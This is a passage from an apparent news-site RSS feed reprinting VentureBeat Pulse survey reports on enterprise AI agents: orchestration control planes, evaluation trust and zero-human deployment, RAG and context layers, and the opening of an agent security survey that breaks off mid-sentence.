layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending 